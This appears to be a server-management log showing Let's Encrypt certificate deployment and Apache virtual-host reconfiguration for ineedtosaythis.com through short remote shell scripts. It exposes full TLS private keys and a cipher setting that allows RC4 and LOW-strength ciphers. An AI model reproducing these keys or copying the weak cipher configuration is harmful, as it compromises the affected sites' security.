YPz04gOBAwHAysmqJ6tS1ZvbPv+Y/KvPhszksnE8zy3kOUH+SoGRyDZVqknNn3ot
2LQoXp0RTRdn4tDINZ/F6NP7ypQ721akV3KX45Ew1uwcjF+Uvs13lhQLw8DoyBxP
+XqXkQdKSI2Mbm4j2deE+K/9bwKBgQDT1BaOnIPUexp8si3Hyq8bZ7yc3hTB77mK
Q1INAUjw/uvwfoxGXXZZBZNocy23QIs8SYd9Rz2IwQHom+6E3+avRBRTOCFipSkQ
Is6rcI64tHuVRFLQS0xuYXafzFYR59luLzvdQEI51tCVzjADb08HwDc811pXaky2
o01A2HS2QwKBgQDf6hGSANGFI14C9Ak3UDCA4pp/5dZ7rI5HDNtvQips7Bcd6bB8
NGxRYeGhswoU7YoiFqoT87RghnnBfntlyg7Zpzt6xfVNfdE0XnnjhIepgTexRnrQ
ilqt7aBWCEZ55jxw5YlmTTMNaRllTvNGpkYOdu9IANvn//vQCr51PtaXUQKBgGRL
iRqg9LJITzQ3UQHF7770ERPc+ssQbDMQyOqrbxPcP24xHM28NurTfwX3cu/POZ2j
2ujwMCxt5i9ylS6IrLrTayQz8Wq5dIXVVTFLK+g8XD9CiEtjO58PupDSuPXlZseK
ybdqU3D7SuuDIqydqTesRPsjo/y7sfLPwyYu1qPtAoGASXx6ddSJepzS6CzJ0MwW
rJ1yY4PRTG5HfP5t14zDk2r+Di4GvQNp0Z8dW8xrjOb4gEnxBUgoGgBSGChQbut4
/HPsIFHT/yJ0Sg0ueqT1EnY4jzJH8wHsBaWjzEVl1U3YsD2vmiuBOcHll4hFhH31
LeKOUwUhtKiM0BiH5i8dNJk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-03 06:00:37: Establishing a connection
2026-02-03 06:00:37: Establishing a connection
2026-02-03 06:00:37: 

PUT: /tmp/pkp605190

#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-03 06:00:38: 

chmod 755 /tmp/pkp605190; /tmp/pkp605190; rm /tmp/pkp605190

2026-02-03 06:00:38: 


1


2026-02-03 06:00:39: Establishing a connection
2026-02-03 06:00:39: 

PUT: /tmp/pkp728679

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > EAOT9MDptjlhctMhWveinR2tQyw3FEYYmOFRil-Ee-I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EAOT9MDptjlhctMhWveinR2tQyw3FEYYmOFRil-Ee-I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EAOT9MDptjlhctMhWveinR2tQyw3FEYYmOFRil-Ee-I
cat > vjXSL9XSf8v6WIdQuAiXwbIuPcDG9oSPPjb37k6V-6o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vjXSL9XSf8v6WIdQuAiXwbIuPcDG9oSPPjb37k6V-6o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vjXSL9XSf8v6WIdQuAiXwbIuPcDG9oSPPjb37k6V-6o


2026-02-03 06:00:39: 

chmod 755 /tmp/pkp728679; /tmp/pkp728679; rm /tmp/pkp728679

2026-02-03 06:00:39: 




2026-02-03 06:00:48: Establishing a connection
2026-02-03 06:00:48: 

PUT: /tmp/pkp717632

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm EAOT9MDptjlhctMhWveinR2tQyw3FEYYmOFRil-Ee-I
rm vjXSL9XSf8v6WIdQuAiXwbIuPcDG9oSPPjb37k6V-6o


2026-02-03 06:00:48: 

chmod 755 /tmp/pkp717632; /tmp/pkp717632; rm /tmp/pkp717632

2026-02-03 06:00:48: 




2026-02-03 06:00:48: Establishing a connection
2026-02-03 06:00:48: 

PUT: /tmp/pkp305340

#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt

cat > $temp_file <<'endmsg'
44:d7:30:3e:89:f9:02:5c:a2:43:a7:66:00:09:dd:8f

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBrmu/zw2Wh/D9xtcYt/kk4GyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAzMDUwMjE2WhcNMjYwNTA0MDUwMjE1WjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCjCwIeTPvvdSt65LrI9hUna3HVPHO2EnbnnVat2Ojg6NqrsCa3Y0/IrozM
Ha8cGIeN31lOA1FHJRLzFSkx0VHLibkcpCklpPH4qBBqZaJIiHvNZDD2yK1Ljmk0
yhOw/qoe10bJQVz+yegavgg7k39dRQ891kFp8acrOyj90gD8kRtjpaljpvO9ybWN
xskLBQ8Itl/hLn6Coeq2CJi+D/czXiB68VJ5WqVpAZIRBHPHllmX+4b8WsiId4BS
MTFHIiWI2E1mCcC6Bk/DpCQ+yMbm1jx9JO4OwYwxV6QHBH76ks3tR+5ZIcl55tPI
cDb8M5SRAocB1ARrwGoURZJFV5EnAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFLvTMeaYCZzlJWLiRfQydnQus28XMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTEuY3Js
MIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL
9gQpJ/jnHzMT9foAAAGcIhbSwwAABAMARjBEAiBNNObxYKNpivmcroKmruD8GqFl
6c7QAiyjBH/0brONzwIgSj1N7YDuEsdd3hQmnk8u8TLQsa8zZWyC+46k7nNhJ40A
fgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZwiFtSjAAgAAAUA
MVcJ/wQDAEcwRQIgbXbHNwhU+Km1s72UT/lzdWuNKJtcEj2vPwXUlIoe8LwCIQDg
0H3FWM3gxcniFZYLjIBloL9aBEKMS9mFuQwbGkTTiDANBgkqhkiG9w0BAQsFAAOC
AQEAfvO4V/w0XzubjKBJv1mfztJeWhH1M5IwrcnJuHnVbnQiwW2rckHNtKQUBL6W
pLyeVyT31yaJ/RA7wkvuKy9ANxcDvnPBOHca1AmDhCastHgB2oh4shr2/1ZxP6s5
CF8r7nDdk9FzgToOsiOE6QVaVWC+deCZMTx0/k8d5+w4A/eag9lBSzBGPzbm+e9Z
Jtb6UgUvVgs00o+vBqhUQgP7jyN1soopYT/k0GaoqKHLckl6TmS6DAs576NmVipa
rn0sBTD6oJTwOQrrLzDPEuRdO+GzHGOihUOa43rdH9+mYbpdU8/EVF7lsGBdI92+
H0oLia2Zs6WA2C1T0sEXSolsJQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCjCwIeTPvvdSt6
5LrI9hUna3HVPHO2EnbnnVat2Ojg6NqrsCa3Y0/IrozMHa8cGIeN31lOA1FHJRLz
FSkx0VHLibkcpCklpPH4qBBqZaJIiHvNZDD2yK1Ljmk0yhOw/qoe10bJQVz+yega
vgg7k39dRQ891kFp8acrOyj90gD8kRtjpaljpvO9ybWNxskLBQ8Itl/hLn6Coeq2
CJi+D/czXiB68VJ5WqVpAZIRBHPHllmX+4b8WsiId4BSMTFHIiWI2E1mCcC6Bk/D
pCQ+yMbm1jx9JO4OwYwxV6QHBH76ks3tR+5ZIcl55tPIcDb8M5SRAocB1ARrwGoU
RZJFV5EnAgMBAAECggEAUWtkZexM3ZJWIbtKeaPGAZb61CEpqZFD9rsQN6W7+eDe
nmFLnEYIaC+emSnzseSgAN2586bddllRwrldBodAwRNoMSDbeXSK74FCHVfeuDkM
FhAEEaE6RSJ7cES/m6I5I0ifDU7KWWRLt9sRMmsgbdvYVimCJh1qvUCAYmx2WKlz
vwm4SGobZt4ZkLbpwSkP/GS4nw817tnvrcZwjXPmaHwihajtyYxBLYTZoEItPmSS
+qtGZUSfR0z54q3aS2zCBq5hcIlt3OxDfdDGSKeRf58AUN17smY4QlTXarhFGXGv
fQFlRbCx+bP1UeiY7kgkVbvmznglXpL/nhLPmkTuWQKBgQDXUIya0akWRfEFMyp3
tKMR5jB4M0RAJPN5OAwZIILBUoYPj7eqpaQRgPskORZyzcW/LiTLJ6i60KdGiUvm
3hOYnOVkAvoHLafXM1FEgKNvaf9DUDeBBF2VCBzZYkviN8iVhz2KlfqMPVNdaXIi
4HeUwKxex1LOeR07em/4o+ea2QKBgQDB2eoIDKjl85TWBOY9ygzz77NpDElwgGuy
UBK7/t8ZEPU0H8ZhdX6uxPpItfamtR066iLRxo2LEqFznOHjYud/qeAxOPSqL83u
AFLHg58etn83iOzvwvyKHqA8PoroqWCcHjXk+N1MgpzBQ/SwdXI9PgVjl4u+mm+J
4JIf7cUL/wKBgFViTu/SNtBrWgHq4WtpCcW+V/hCtE0PmjG25S1NtCx/0kP3hSk5
2I9Ma8tYjCtoqIOBA/xANOwodD1Hkv7xkCnUBi+b8pTIKSfw5MhajvVOvnhuJiSW
m5nPBsm57ke+QV/yqpf7k8jrRNTlTOrBwwoNQg2v04mng80jZ6XdMao5AoGAI+KX
NE5Dpe3li4j0plOU+kNRTwz7O1xKk4PHNA4Gdrlw6ulG7Bu4C9pjCrrEoi+87X8S
WwsKgMg+IwzTtChG+pcT7YjBog+fa4Obz1tKRYE7I6ixU+EgpuDsgLqDNHbGb6AY
Ef8P2G4FXrGZxmC3eSbWEI2pTOuB4mA0LLzzUTkCgYBc4ms3FK6DXzyI4rgz27vK
/XQCFxyhk2eIDkseEcw4oaAlCh3dQHX98TSLUh23s/ETYT7Bp6Dj0N77cON+aUU0
L6VUKheE+JFHwZU4+W0kkQb8fpOMkgoNgYltuvcqtgamjEjGY5TsZwp3mf8P66ip
lOeu2MfVe3xOimvspkU/kQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-03 06:00:48: 

chmod 755 /tmp/pkp305340; /tmp/pkp305340; rm /tmp/pkp305340

2026-02-03 06:00:48: 


dir=/etc/ssl/certs


2026-02-03 06:00:48: 

PUT: /tmp/pkp869664

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-03 06:00:48: 

chmod 755 /tmp/pkp869664; /tmp/pkp869664; rm /tmp/pkp869664

2026-02-03 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-03 06:00:48: 

PUT: /tmp/pkp116256

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi


2026-02-03 06:00:48: 

chmod 755 /tmp/pkp116256; /tmp/pkp116256; rm /tmp/pkp116256

2026-02-03 06:00:48: 




2026-02-03 06:00:48: 

PUT: /tmp/pkp314446

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-03 06:00:48: 

chmod 755 /tmp/pkp314446; /tmp/pkp314446; rm /tmp/pkp314446

2026-02-03 06:00:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-03 06:00:49: Establishing a connection
2026-02-03 06:00:49: 

PUT: /tmp/pkp121319

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-03 06:00:49: 

chmod 755 /tmp/pkp121319; /tmp/pkp121319; rm /tmp/pkp121319

2026-02-03 06:00:49: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-03 06:00:49: 

PUT: /tmp/pkp306785

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
